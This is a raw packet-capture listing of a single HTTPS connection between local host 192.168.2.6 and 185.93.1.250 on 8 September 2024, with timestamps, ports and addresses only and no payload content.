Sep 8, 2024 09:53:47.003289938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003488064 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.003496885 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003665924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003685951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003727913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.003727913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.003734112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003741980 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003762007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003815889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.003815889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.003817081 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.003823996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.003971100 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.004125118 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.004137993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.004198074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.004240036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.004239082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.004240036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.004261017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.004365921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.005013943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005028963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005065918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005094051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.005094051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.005095005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005112886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005156040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.005156040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.005635023 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005650043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005778074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.005783081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.005925894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.089631081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.089660883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.089795113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.089795113 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.089803934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.089847088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090070963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090085030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090173960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090178967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090236902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090516090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090528965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090629101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090632915 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090662956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090682983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090715885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090715885 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090722084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090775967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090775967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.090956926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.090970039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091073990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.091073990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.091078997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091145039 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.091351032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091365099 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091411114 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.091414928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091427088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.091463089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.091517925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091530085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091641903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.091646910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.091715097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.093338966 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.093353033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.093422890 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.093426943 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.093478918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.176562071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.176580906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.176681995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.176681995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.176691055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.176723957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.176836967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.176851034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.176934958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.176934958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.176940918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177005053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.177011967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177027941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177052021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177109003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.177109003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.177114010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177164078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.177618027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177630901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177876949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177891970 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.177897930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.177998066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.177998066 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.178170919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.178184986 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.178239107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.178239107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.178251028 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.178471088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.178488016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.178544998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.178555965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.178667068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.178936005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.178947926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.179146051 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.179152012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.221548080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.263832092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.263859034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.264067888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.264089108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.264345884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.264345884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.264345884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.264365911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.264544964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.264559031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.264703989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.264709949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265120983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265141010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265250921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.265250921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.265256882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265348911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265362024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265502930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.265502930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.265508890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265754938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265774012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.265963078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.265963078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.265968084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.266415119 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.266427994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.266474962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.266490936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.266510963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.266510963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.266522884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.266982079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.266982079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.350975037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.350995064 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351177931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.351185083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351327896 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351349115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351430893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.351435900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351509094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351521969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351636887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.351636887 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.351643085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.351694107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.352055073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.352075100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.352127075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.352130890 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.352266073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.352374077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.352386951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.352442026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.352447033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.352591038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.352984905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.352998018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353065968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.353070974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353528976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353548050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353612900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.353612900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.353616953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353645086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353657007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353661060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.353667974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.353691101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.353713989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.445234060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445264101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445346117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.445346117 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.445360899 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445461988 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445483923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445497036 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.445502996 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445540905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.445540905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.445718050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445732117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445827007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.445831060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.445924997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.446058989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446074009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446130991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.446135044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446190119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.446190119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.446547985 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446561098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446621895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.446626902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446830988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.446911097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446924925 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.446991920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.446996927 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.447104931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.447587013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.447602987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.447683096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.447683096 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.447688103 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.447879076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.447906971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.447922945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.447922945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.447928905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.447962046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.448041916 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.532113075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.532135010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.532231092 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.532244921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.532298088 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.532495975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.532509089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.532573938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.532578945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.532665968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.533031940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533045053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533260107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533308983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533354998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.533363104 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533381939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.533688068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533699989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533752918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.533759117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533781052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.533905983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533925056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.533952951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.533962011 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.534008980 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.534184933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.534197092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.534256935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.534265995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.534301996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.534466982 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.534483910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.534537077 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.534542084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.534563065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.581057072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619126081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619158030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619203091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619225979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619244099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619311094 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619328022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619343042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619462013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619462013 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619477034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619730949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619895935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619913101 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.619987965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619987965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.619995117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.620245934 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.620505095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.620522022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.620568037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.620573044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.620604992 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.620645046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.620965958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.620980024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.621107101 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.621118069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.621428967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.621440887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.621455908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.621643066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.621689081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.621753931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.621753931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.621753931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.621761084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.624694109 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.624707937 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.624772072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.624785900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.674659014 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.711143017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.711165905 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.711241961 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.711258888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.711349010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.712074041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.712089062 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.712146044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.712157965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.712251902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:47.713269949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:47.713289976 CEST	443	49710	185.93.1.250	192.168.2.6
